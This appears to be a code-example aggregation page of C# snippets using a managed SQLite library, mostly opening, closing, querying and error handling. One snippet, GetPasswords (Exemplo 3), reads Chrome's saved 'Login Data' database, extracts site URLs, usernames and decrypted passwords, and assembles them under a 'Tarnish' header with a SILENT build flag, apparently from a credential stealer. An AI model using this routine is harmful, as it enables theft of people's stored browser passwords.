Exemplo n.º 1
0
            public void close()
            {
                checkThread();

                doAllStatements(AllStatmentsAction.Finalize);

                if (this.db != null)
                {
                    int rc = Sqlite3.SQLITE_OK, i = 0;

                    do
                    {
                        rc = Sqlite3.sqlite3_close(this.db);
                        if (rc == Sqlite3.SQLITE_BUSY)
                        {
                            GC.Collect();
                            GC.WaitForPendingFinalizers();
                        }
                    } while(rc == Sqlite3.SQLITE_BUSY && i++ < 3);

                    if (rc != Sqlite3.SQLITE_OK)
                    {
                        throw GetSqliteError(this.db, null);
                    }

                    this.db = null;
                }
            }
        // Multi thread execution special command or ddl command results in exception..
        public void Issue_86()
        {
            AppDomain.CurrentDomain.UnhandledException +=
                (sender, eventArgs) =>
            {
                Console.WriteLine(eventArgs.ExceptionObject);
            };
            int flags = Sqlite3.SQLITE_OPEN_NOMUTEX | Sqlite3.SQLITE_OPEN_READWRITE | Sqlite3.SQLITE_OPEN_CREATE;

            for (int i = 0; i < 10; i++)
            {
                Console.WriteLine("Running Thread {0}", i);
                var t = new Thread(() =>
                {
                    string dbFilename = string.Format("db{0}.sqlite", Thread.CurrentThread.ManagedThreadId);
                    if (File.Exists(dbFilename))
                    {
                        File.Delete(dbFilename);
                    }
                    Console.WriteLine("Using Database {0}", dbFilename);
                    Sqlite3.sqlite3 db = null;
                    Sqlite3.sqlite3_open_v2(dbFilename, out db, flags, null);
                    var command = string.Format("create table [t{0}] (id, name, amount)", Thread.CurrentThread.ManagedThreadId);
                    ExecuteCommand(db, command);
                    Sqlite3.sqlite3_close(db);
                });
                t.Start();
            }
        }
Exemplo n.º 3
0
 public string GetPasswords()
 {
     try
     {
         string DBPATH = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
         string FileOut = "";
         if (File.Exists(DBPATH))
         {
             string header = "Tarnish " + Global.AssemName.Version.ToString();
             FileOut += header + Environment.NewLine;
             Sqlite3.sqlite3 db = new Sqlite3.sqlite3();
             Sqlite3.sqlite3_open(DBPATH, ref db);
             Sqlite3.sqlite3_exec(db, "SELECT origin_url,username_value,password_value FROM LOGINS", new Sqlite3.dxCallback(The_Callback), 0, 0);
             foreach (ChromeUserPassEntity e in entities)
             try
             {
                 if (e.username_value != null && e.password_value != null && e.origin_url != null)
                     if (e.username_value.Trim().Length > 0)
                     {
                         #if !SILENT
                         Console.WriteLine(e.origin_url.PadLeft(e.origin_url.Length + 1, ' '));
                         #endif
                         FileOut += e.origin_url + Environment.NewLine + "   " + e.username_value + Environment.NewLine + "   " + e.getPassword() + Environment.NewLine;
                     }
             }
             catch (Exception ex) { Console.Write(ex.ToString()); }
             Sqlite3.sqlite3_close(db);
             return FileOut;
         }
     }
     catch (Exception ex) { Console.Write(ex.ToString()); }
     return "";
 }
Exemplo n.º 4
0
        public void open(String strPath, String strSqlScript, String strEncryptionInfo)
        {
            try
            {
                String dbURI = RHODESAPP().resolveDBFilesPath(strPath);
                dbURI = CFilePath.removeFirstSlash(dbURI);
                boolean bEncrypted = strEncryptionInfo != null && strEncryptionInfo.length() > 0;
                //DatabaseSecurityOptions dbso = new DatabaseSecurityOptions(bEncrypted);

                boolean bExist = CRhoFile.isFileExist(strPath);

                int res = Sqlite3.sqlite3_open(dbURI, ref m_db);
                if (res != Sqlite3.SQLITE_OK)
                {
                    throw new DBException(res, "Could not open database file: " + strPath);
                }

                res = Sqlite3.sqlite3_exec(m_db, "PRAGMA journal_mode=PERSIST", 0, 0, 0);
                if (res != Sqlite3.SQLITE_OK)
                {
                    Sqlite3.sqlite3_close(m_db);
                    m_db = null;
                    throw new DBException(res, "Cannot set journal mode to PERSIST: " + strPath);
                }

                string[] ar1 = CRhoFile.enumDirectory("db");

                if (!bExist)
                {
                    createSchema(strSqlScript);
                }

                Sqlite3.sqlite3_create_function(m_db, "rhoOnDeleteObjectRecord", 3, Sqlite3.SQLITE_ANY, 0,
                                                DBAdapter.SyncBlob_DeleteCallback, null, null);
                Sqlite3.sqlite3_create_function(m_db, "rhoOnUpdateObjectRecord", 3, Sqlite3.SQLITE_ANY, 0,
                                                DBAdapter.SyncBlob_UpdateCallback, null, null);
                Sqlite3.sqlite3_create_function(m_db, "rhoOnDeleteSchemaRecord", 1, Sqlite3.SQLITE_ANY, 0,
                                                DBAdapter.SyncBlob_DeleteSchemaCallback, null, null);
                Sqlite3.sqlite3_create_function(m_db, "rhoOnUpdateSchemaRecord", 2, Sqlite3.SQLITE_ANY, 0,
                                                DBAdapter.SyncBlob_UpdateSchemaCallback, null, null);

                string[] ar2 = CRhoFile.enumDirectory("db");

                if (m_bPendingTransaction)
                {
                    startTransaction();
                }

                m_bPendingTransaction = false;
            }
            catch (Exception exc)
            {
                throw new DBException(exc);
            }
            finally
            {
                m_nInsideTransaction = 0;
            }
        }
Exemplo n.º 5
0
 public void Close()
 {
     if (db != null)
     {
         Sqlite3.sqlite3_close(db);
         db = null;
     }
 }
Exemplo n.º 6
0
        public Result Open(string filename, out IDbHandle db)
        {
            Sqlite3.sqlite3 internalDbHandle = null;
            var             ret = (Result)Sqlite3.sqlite3_open(filename, ref internalDbHandle);

            db = new DbHandle(internalDbHandle);
            return(ret);
        }
Exemplo n.º 7
0
 public void close()
 {
     if (m_db != null)
     {
         int rc = Sqlite3.sqlite3_close(m_db);
         checkError(rc);
         m_db = null;
     }
 }
Exemplo n.º 8
0
	public SQLiteQuery( SQLiteDB sqliteDb, string query )
	{
		bindIndex = 1;
		db = sqliteDb.Connection();
		if( Sqlite3.sqlite3_prepare_v2( db, query, query.Length, ref vm, 0 ) != Sqlite3.SQLITE_OK ) 
		{ 
			throw new Exception( "Error with prepare query! error:" + Sqlite3.sqlite3_errmsg(db) ); 
		};
	}
Exemplo n.º 9
0
 public void close()
 {
     if (m_db != null)
     {
         int rc = Sqlite3.sqlite3_close(m_db);
         checkError(rc);
         m_db = null;
     }
 }
Exemplo n.º 10
0
 public void Dispose()
 {
     if (_open)
     {
         Sqlite3.sqlite3_close(_db);
         _db   = null;
         _open = false;
     }
 }
Exemplo n.º 11
0
        private Statement(Sqlite3.sqlite3 db, sqlite3_stmt stmt, string operation, string tail)
        {
            this.uniqueid = Guid.NewGuid();

            this.db = db;
            this.sql = operation;

            this.st = stmt;
            this.Tail = tail;
        }
Exemplo n.º 12
0
 public SQLiteQuery(SQLiteDB sqliteDb, string query)
 {
     bindIndex = 1;
     db        = sqliteDb.Connection();
     if (Sqlite3.sqlite3_prepare_v2(db, query, query.Length, ref vm, 0) != Sqlite3.SQLITE_OK)
     {
         throw new Exception("Error with prepare query! error:" + Sqlite3.sqlite3_errmsg(db));
     }
     ;
 }
Exemplo n.º 13
0
        public Result Open(byte[] filename, out IDbHandle db, int flags, IntPtr zVfs)
        {
            string dbFileName = Encoding.UTF8.GetString(filename, 0, filename.Length);

            Sqlite3.sqlite3 internalDbHandle = null;
            var             ret = (Result)Sqlite3.sqlite3_open_v2(dbFileName, ref internalDbHandle, flags, null);

            db = new DbHandle(internalDbHandle);
            return(ret);
        }
Exemplo n.º 14
0
        private Statement(Sqlite3.sqlite3 db, sqlite3_stmt stmt, string operation, string tail)
        {
            this.uniqueid = Guid.NewGuid();

            this.db  = db;
            this.sql = operation;

            this.st   = stmt;
            this.Tail = tail;
        }
Exemplo n.º 15
0
        internal static Exception GetSqliteError(Sqlite3.sqlite3 db, Sqlite3.Vdbe st)
        {
            /* SQLite often doesn't report anything useful, unless you reset the statement first */
            if (st != null)
            {
                Sqlite3.sqlite3_reset(st);
            }

            int    errorcode = Sqlite3.sqlite3_errcode(db);
            string errmsg    = Sqlite3.sqlite3_errmsg(db);

            switch (errorcode)
            {
            case SQLITE_OK:
                return(null);

            case Sqlite3.SQLITE_INTERNAL:
            case Sqlite3.SQLITE_NOTFOUND:
                return(MakeInternalError(errmsg));

            case Sqlite3.SQLITE_NOMEM:
                return(new OutOfMemoryException());

            case Sqlite3.SQLITE_ERROR:
            case Sqlite3.SQLITE_PERM:
            case Sqlite3.SQLITE_ABORT:
            case Sqlite3.SQLITE_BUSY:
            case Sqlite3.SQLITE_LOCKED:
            case Sqlite3.SQLITE_READONLY:
            case Sqlite3.SQLITE_INTERRUPT:
            case Sqlite3.SQLITE_IOERR:
            case Sqlite3.SQLITE_FULL:
            case Sqlite3.SQLITE_CANTOPEN:
            case Sqlite3.SQLITE_PROTOCOL:
            case Sqlite3.SQLITE_EMPTY:
            case Sqlite3.SQLITE_SCHEMA:
                return(MakeOperationalError(errmsg));

            case Sqlite3.SQLITE_CORRUPT:
                return(MakeDatabaseError(errmsg));

            case Sqlite3.SQLITE_TOOBIG:
                return(MakeDataError(errmsg));

            case Sqlite3.SQLITE_CONSTRAINT:
            case Sqlite3.SQLITE_MISMATCH:
                return(MakeIntegrityError(errmsg));

            case Sqlite3.SQLITE_MISUSE:
                return(MakeProgrammingError(errmsg));

            default:
                return(MakeDatabaseError(errmsg));
            }
        }
Exemplo n.º 16
0
        public static Sqlite3.Vdbe Prepare2(Sqlite3.sqlite3 db, string query)
        {
            Sqlite3.Vdbe stmt = new Sqlite3.Vdbe();
            var          r    = Sqlite3.sqlite3_prepare_v2(db, query, System.Text.UTF8Encoding.UTF8.GetByteCount(query), ref stmt, 0);

            if (r != 0)
            {
                throw SQLiteException.New((Result)r, GetErrmsg(db));
            }
            return(stmt);
        }
Exemplo n.º 17
0
	public void Open (string filename)
	{
		if (db != null) {
			throw new Exception ("Error database already open!");
		}
		
		if (Sqlite3.sqlite3_open (filename, out db) != Sqlite3.SQLITE_OK) {
			db = null;
			throw new IOException ("Error with opening database " + filename + " !");
		}
	}
Exemplo n.º 18
0
	public void OpenInMemory ()
	{
		if (db != null) {
			throw new Exception ("Error database already open!");
		}
		
		if (Sqlite3.sqlite3_open (":memory:", out db) != Sqlite3.SQLITE_OK) {
			db = null;
			throw new IOException ("Error with opening database :memory:!");
		}
	}
Exemplo n.º 19
0
        public void createTrigger(String strSQL)
        {
            int res = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0);

            if (res != Sqlite3.SQLITE_OK)
            {
                Sqlite3.sqlite3_close(m_db);
                m_db = null;
                throw new DBException(res, "Cannot create trigger: " + strSQL);
            }
        }
Exemplo n.º 20
0
        public void dropTrigger(String strName)
        {
            String strSQL = "DROP TRIGGER " + strName + ";";
            int    res    = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0);

            if (res != Sqlite3.SQLITE_OK)
            {
                Sqlite3.sqlite3_close(m_db);
                m_db = null;
                throw new DBException(res, "Cannot drop trigger: " + strName);
            }
        }
Exemplo n.º 21
0
    public void Open(string filename)
    {
        if (db != null)
        {
            throw new Exception("Error database already open!");
        }

        if (Sqlite3.sqlite3_open(filename, out db) != Sqlite3.SQLITE_OK)
        {
            db = null;
            throw new IOException("Error with opening database " + filename + " !");
        }
    }
Exemplo n.º 22
0
    public void OpenInMemory()
    {
        if (db != null)
        {
            throw new Exception("Error database already open!");
        }

        if (Sqlite3.sqlite3_open(":memory:", out db) != Sqlite3.SQLITE_OK)
        {
            db = null;
            throw new IOException("Error with opening database :memory:!");
        }
    }
Exemplo n.º 23
0
        private static DBAdapter getDBByHandle(Sqlite3.sqlite3 db)
        {
            Hashtable <String, DBAdapter> .Enumerator hashEnum = m_mapDBPartitions.GetEnumerator();
            while (hashEnum.MoveNext())
            {
                if (hashEnum.Current.Value.m_dbStorage == db)
                {
                    return(hashEnum.Current.Value);
                }
            }

            return(getDBPartitions().get(USER_PARTITION_NAME()));
        }
Exemplo n.º 24
0
    public SQLiteQuery(SQLiteDB sqliteDb, string query)
    {
        sqlDb     = sqliteDb;
        bindIndex = 1;
        db        = sqliteDb.Connection();

        if (Sqlite3.sqlite3_prepare_v2(db, query, query.Length, ref vm, 0) != Sqlite3.SQLITE_OK)
        {
            Debug.Log(query);
            throw new Exception("Error with prepare query! error:" + Sqlite3.sqlite3_errmsg(db));
        }
        ;
        sqlDb.RegisterQuery(this);
    }
Exemplo n.º 25
0
        public ServerChildJob(ServerChildJobState st)
        {
            socketID = st.socketID;
            socket = st.workerSocket;
            traceLog = st.traceLog;
            mainDb = st.mainDb;

            stateArray = new IFSMInterface[(int)State.STATE_COUNT];
            stateArray[(int)State.STATE_INIT] = new WWClientState_Init();
            stateArray[(int)State.STATE_SHUTDOWN] = new WWClientState_Shutdown();

            stateID = (int)State.STATE_INIT;
            fsm = new FSM(stateArray[stateID]);
        }
Exemplo n.º 26
0
    public void Close()
    {
        ReleaseAllQueries();

        if (db != null)
        {
            Sqlite3.sqlite3_close(db);
            db = null;
        }

        if (stream != null)
        {
            Sqlite3.sqlite3_stream_unregister(stream);
        }
    }
        private static void ExecuteCommand(Sqlite3.sqlite3 db, string command)
        {
            int rc;

            Sqlite3.Vdbe vm = null;
            if (Sqlite3.sqlite3_prepare_v2(db, command, command.Length, ref vm, 0) != Sqlite3.SQLITE_OK)
            {
                throw new InvalidOperationException(string.Format("Query failed ({0}), message: {1}.", db.errCode, Sqlite3.sqlite3_errmsg(db)));
            }
            rc = Sqlite3.sqlite3_step(vm);
            if (rc != Sqlite3.SQLITE_DONE && rc != Sqlite3.SQLITE_ROW)
            {
                throw new InvalidOperationException(string.Format("Query failed ({0}), message: {1}.", db.errCode, Sqlite3.sqlite3_errmsg(db)));
            }
            Sqlite3.sqlite3_finalize(vm);
        }
Exemplo n.º 28
0
        public void Open()
        {
            if (Sqlite3.sqlite3_open(Database, ref _db) != Sqlite3.SQLITE_OK)
            {
                throw new SQLiteException("Could not open database file: " + Database);
            }
            string errMsg = string.Empty;

            if (Sqlite3.sqlite3_exec(_db, "PRAGMA journal_mode=PERSIST", (Sqlite3.dxCallback) this.callback, null, ref errMsg) != Sqlite3.SQLITE_OK)
            {
                Sqlite3.sqlite3_close(_db);
                _db   = null;
                _open = false;
                throw new SQLiteException("Cannot set journal mode to PERSIST: " + Database);
            }
            _open = true;
        }
Exemplo n.º 29
0
	public void OpenStream (string name, Stream io)
	{
		if (db != null) {
			throw new Exception ("Error database already open!");
		}
		
		stream = Sqlite3.sqlite3_stream_create (name, io);

		if (Sqlite3.sqlite3_stream_register (stream) != Sqlite3.SQLITE_OK) {
			throw new IOException ("Error with opening database with stream " + name + "!");
		}

		if (Sqlite3.sqlite3_open_v2 (name, out db, Sqlite3.SQLITE_OPEN_READWRITE, "stream") != Sqlite3.SQLITE_OK) {
			db = null;
			throw new IOException ("Error with opening database with stream " + name + "!");
		}
	}
Exemplo n.º 30
0
        public Statement(PythonSQLite.Connection connection, string operation)
        {
            this.uniqueid = Guid.NewGuid();

            this.db = connection.db;
            this.sql = operation;

            this.st = null;
            string tail = null;
            if(Sqlite3.sqlite3_prepare(this.db, this.sql, -1, ref this.st, ref tail) != Sqlite3.SQLITE_OK /*TODO: || too much sql */)
            {
                Sqlite3.sqlite3_finalize(st);
                this.st = null;
                throw PythonSQLite.GetSqliteError(this.db, null);
            }

            this.Tail = tail;
        }
Exemplo n.º 31
0
        public Statement(PythonSQLite.Connection connection, string operation)
        {
            this.uniqueid = Guid.NewGuid();

            this.db  = connection.db;
            this.sql = operation;

            this.st = null;
            string tail = null;

            if (Sqlite3.sqlite3_prepare(this.db, this.sql, -1, ref this.st, ref tail) != Sqlite3.SQLITE_OK /*TODO: || too much sql */)
            {
                Sqlite3.sqlite3_finalize(st);
                this.st = null;
                throw PythonSQLite.GetSqliteError(this.db, null);
            }

            this.Tail = tail;
        }
Exemplo n.º 32
0
    public void OpenStream(string name, Stream io)
    {
        if (db != null)
        {
            throw new Exception("Error database already open!");
        }

        stream = Sqlite3.sqlite3_stream_create(name, io);

        if (Sqlite3.sqlite3_stream_register(stream) != Sqlite3.SQLITE_OK)
        {
            throw new IOException("Error with opening database with stream " + name + "!");
        }

        if (Sqlite3.sqlite3_open_v2(name, out db, Sqlite3.SQLITE_OPEN_READWRITE, "stream") != Sqlite3.SQLITE_OK)
        {
            db = null;
            throw new IOException("Error with opening database with stream " + name + "!");
        }
    }
Exemplo n.º 33
0
	public void Close()
	{
		if( db != null )
		{
			Sqlite3.sqlite3_close( db );
			db = null;
		}
	}
Exemplo n.º 34
0
 // Dbを閉じる
 public void CloseDb()
 {
     try
     {
         if (mainDb != null)
         {
             Sqlite3.sqlite3_close(mainDb);
             mainDb = null;
         }
     }
     catch (Exception e)
     {
         WriteLog(TraceEventType.Error, "CloseDb: " + e.Message);
     }
     WriteLog(TraceEventType.Verbose, "CloseDb");
 }
Exemplo n.º 35
0
 public static string GetErrmsg(Sqlite3.sqlite3 db)
 {
     return(Sqlite3.sqlite3_errmsg(db));
 }
Exemplo n.º 36
0
	public SQLiteDB()
	{
		db = null;
		stream = null;
	}
Exemplo n.º 37
0
            public void close()
            {
                checkThread();

                doAllStatements(AllStatmentsAction.Finalize);

                if(this.db != null)
                {
                    int rc = Sqlite3.SQLITE_OK, i = 0;
                    
                    do
                    {
                        rc = Sqlite3.sqlite3_close(this.db);
                        if(rc == Sqlite3.SQLITE_BUSY)
                        {
                            GC.Collect();
                            GC.WaitForPendingFinalizers();
                        }
                    } while(rc == Sqlite3.SQLITE_BUSY && i++ < 3);

                    if(rc != Sqlite3.SQLITE_OK)
                        throw GetSqliteError(this.db, null);

                    this.db = null;
                }
            }
Exemplo n.º 38
0
	public SQLiteDB()
	{
		db = null;
	}
Exemplo n.º 39
0
        // Db初期化
        public void InitDb()
        {
            if (mainDb != null)
            {
                return;
            }
            mainDb = new Sqlite3.sqlite3();

            int rc = Sqlite3.sqlite3_open_v2(
                dbFile,
                out mainDb,
                Sqlite3.SQLITE_OPEN_READWRITE | Sqlite3.SQLITE_OPEN_CREATE | Sqlite3.SQLITE_OPEN_SHAREDCACHE,
                "");
            if (rc != Sqlite3.SQLITE_OK)
            {
                WriteLog(TraceEventType.Critical, "Database initialization failed.");
                Sqlite3.sqlite3_close(mainDb);
                return;
            }

            WriteLog(TraceEventType.Verbose, "InitDb");
        }
Exemplo n.º 40
0
 public static int Changes(Sqlite3.sqlite3 db)
 {
     return(Sqlite3.sqlite3_changes(db));
 }
Exemplo n.º 41
0
        public void open(String strPath, String strSqlScript, String strEncryptionInfo)
        {
            try
            {
                String dbURI = RHODESAPP().resolveDBFilesPath(strPath);
                dbURI = CFilePath.removeFirstSlash(dbURI);
                boolean bEncrypted = strEncryptionInfo != null && strEncryptionInfo.length() > 0;
                //DatabaseSecurityOptions dbso = new DatabaseSecurityOptions(bEncrypted);

                boolean bExist = CRhoFile.isFileExist(strPath);

                int res = Sqlite3.sqlite3_open(dbURI, ref m_db);
                if (res != Sqlite3.SQLITE_OK)
                    throw new DBException(res, "Could not open database file: " + strPath);

                res = Sqlite3.sqlite3_exec(m_db, "PRAGMA journal_mode=PERSIST", 0, 0, 0);
                if (res != Sqlite3.SQLITE_OK)
                {
                    Sqlite3.sqlite3_close(m_db);
                    m_db = null;
                    throw new DBException(res, "Cannot set journal mode to PERSIST: " + strPath);
                }

                string[] ar1 = CRhoFile.enumDirectory("db");

                if (!bExist)
                    createSchema(strSqlScript);

                string[] ar2 = CRhoFile.enumDirectory("db");

                if (m_bPendingTransaction)
                    startTransaction();

                m_bPendingTransaction = false;
            }
            catch (Exception exc)
            {
                throw new DBException(exc);
            }
            finally
            {
                m_nInsideTransaction = 0;
            }
        }
Exemplo n.º 42
0
 public static long LastInsertRowid(Sqlite3.sqlite3 db)
 {
     return(Sqlite3.sqlite3_last_insert_rowid(db));
 }
Exemplo n.º 43
0
 /// <summary>
 /// Opens database. 
 /// </summary>
 /// <param name="DatabaseName">Name of database file</param>
 public void OpenDatabase(String DatabaseName)
 {
     // opens database
     if(Sqlite3.sqlite3_open(DatabaseName, out db) != Sqlite3.SQLITE_OK)
     {
         // if there is some error, database pointer is set to 0 and exception is throws
         db = null;
         throw new Exception("Error with opening database " + DatabaseName + "!");
     }
 }
Exemplo n.º 44
0
 /// <summary>
 /// Creates new instance of SQLiteBase class with no database attached.
 /// </summary>
 public SQLiteDatabase()
 {
     db = null;
 }
Exemplo n.º 45
0
 // Dbを閉じる
 public void CloseDb()
 {
     if (mainDb != null)
     {
         Sqlite3.sqlite3_close(mainDb);
         mainDb = null;
     }
     WriteLog(TraceEventType.Verbose, "CloseDb");
 }
Exemplo n.º 46
0
 public  void dropTrigger(String strName)
 {
     String strSQL = "DROP TRIGGER " + strName + ";";
     int res = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0);
     if (res != Sqlite3.SQLITE_OK)
     {
         Sqlite3.sqlite3_close(m_db);
         m_db = null;
         throw new DBException(res, "Cannot drop trigger: " + strName);
     }
 }
Exemplo n.º 47
0
 public void createTrigger(String strSQL)
 {
     int res = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0);
     if (res != Sqlite3.SQLITE_OK)
     {
         Sqlite3.sqlite3_close(m_db);
         m_db = null;
         throw new DBException(res, "Cannot create trigger: " + strSQL);
     }
 }
Exemplo n.º 48
0
	public void Close()
	{
		
		ReleaseAllQueries();
		
		if( db != null )
		{
			Sqlite3.sqlite3_close( db );
			db = null;
		}
		
		if( stream != null )
		{
			Sqlite3.sqlite3_stream_unregister(stream);
		}
	}
Exemplo n.º 49
0
            // Db初期化
            public void InitDb(String name)
            {
                if (mainDb != null)
                {
                    return;
                }
                mainDb = new Sqlite3.sqlite3();

                int rc = Sqlite3.sqlite3_open_v2(
                    name,
                    out mainDb,
                    Sqlite3.SQLITE_OPEN_READWRITE | Sqlite3.SQLITE_OPEN_CREATE | Sqlite3.SQLITE_OPEN_SHAREDCACHE,
                    "");
                if (rc != Sqlite3.SQLITE_OK)
                {
                    WriteLog(TraceEventType.Critical, "Database initialization failed.");
                    Sqlite3.sqlite3_close(mainDb);
                    return;
                }

                // トランザクション
                Sqlite3.sqlite3_exec(mainDb, "BEGIN", 0, 0, 0);

                // Roomテーブル生成
                Sqlite3.sqlite3_exec(
                    mainDb,
                    "CREATE TABLE room (" +
                    "id INT PRIMARY KEY," +
                    "member_num INT," +
                    "member_max INT," +
                    "name TINYTEXT NOT NULL," +
                    "comment TEXT)",
                    0, 0, 0);

                // userテーブル生成
                Sqlite3.sqlite3_exec(
                    mainDb,
                    "CREATE TABLE user (" +
                    "id INT PRIMARY KEY," +
                    "room_id INT," +
                    "name TINYTEXT NOT NULL," +
                    "comment TEXT)",
                    0, 0, 0);

                // トランザクション
                Sqlite3.sqlite3_exec(mainDb, "COMMIT", 0, 0, 0);

                WriteLog(TraceEventType.Verbose, "InitDb");
            }
        public void Issue_124()
        {
            Console.WriteLine("Test Start.");

            Sqlite3.sqlite3 db = null;
            Sqlite3.sqlite3_open(":memory:", out db);
            Sqlite3.Vdbe stmt = null;
            string       zero = null;
            string       val;

            Thread.CurrentThread.CurrentCulture = CultureInfo.InvariantCulture;

            //create table
            {
                Sqlite3.sqlite3_prepare_v2(db, "create table Test (val REAL NOT NULL)", -1, ref stmt, ref zero);
                Sqlite3.sqlite3_step(stmt);
                Sqlite3.sqlite3_finalize(stmt);
            }

            //insert 0.1
            {
                Sqlite3.sqlite3_prepare_v2(db, "insert into Test(val) values ('0.1')", -1, ref stmt, ref zero);
                Sqlite3.sqlite3_step(stmt);
                Sqlite3.sqlite3_finalize(stmt);
            }
            //insert 0.1
            {
                Sqlite3.sqlite3_prepare_v2(db, "insert into Test(val) values ('0.2')", -1, ref stmt, ref zero);
                Sqlite3.sqlite3_step(stmt);
                Sqlite3.sqlite3_finalize(stmt);
            }

            //insert 0.000000001
            {
                Sqlite3.sqlite3_prepare_v2(db, "insert into Test(val) values ('0.000000001')", -1, ref stmt, ref zero);
                Sqlite3.sqlite3_step(stmt);
                Sqlite3.sqlite3_finalize(stmt);
            }

            //invariant culture
            {
                System.Console.WriteLine("invariant culture");
                Sqlite3.sqlite3_prepare_v2(db, "select val from Test", -1, ref stmt, ref zero);
                Sqlite3.sqlite3_step(stmt);
                val = Sqlite3.sqlite3_column_text(stmt, 0);
                System.Console.WriteLine("value: " + val);
                Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture("ru");
                Sqlite3.sqlite3_step(stmt);
                val = Sqlite3.sqlite3_column_text(stmt, 0);
                System.Console.WriteLine("value: " + val);
                Sqlite3.sqlite3_step(stmt);
                val = Sqlite3.sqlite3_column_text(stmt, 0);
                System.Console.WriteLine("value: " + val);
                Sqlite3.sqlite3_finalize(stmt);
            }

            //ru-ru culture
            {
                System.Console.WriteLine("ru");
                Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture("ru");
                Sqlite3.sqlite3_prepare_v2(db, "select val from Test", -1, ref stmt, ref zero);
                Sqlite3.sqlite3_step(stmt);
                val = Sqlite3.sqlite3_column_text(stmt, 0);
                System.Console.WriteLine("value: " + val);
                Sqlite3.sqlite3_step(stmt);
                val = Sqlite3.sqlite3_column_text(stmt, 0);
                System.Console.WriteLine("value: " + val);
                Sqlite3.sqlite3_finalize(stmt);
            }

            Console.WriteLine("Test Done.");
        }
Exemplo n.º 51
0
 public DbHandle(Sqlite3.sqlite3 internalDbHandle)
     : this()
 {
     InternalDbHandle = internalDbHandle;
 }
Exemplo n.º 52
0
 public SQLiteDB()
 {
     db     = null;
     stream = null;
 }
Exemplo n.º 53
0
 internal SQLiteCommand(Sqlite3.sqlite3 db)
 {
     _db         = db;
     _bindings   = new List <Binding>();
     CommandText = "";
 }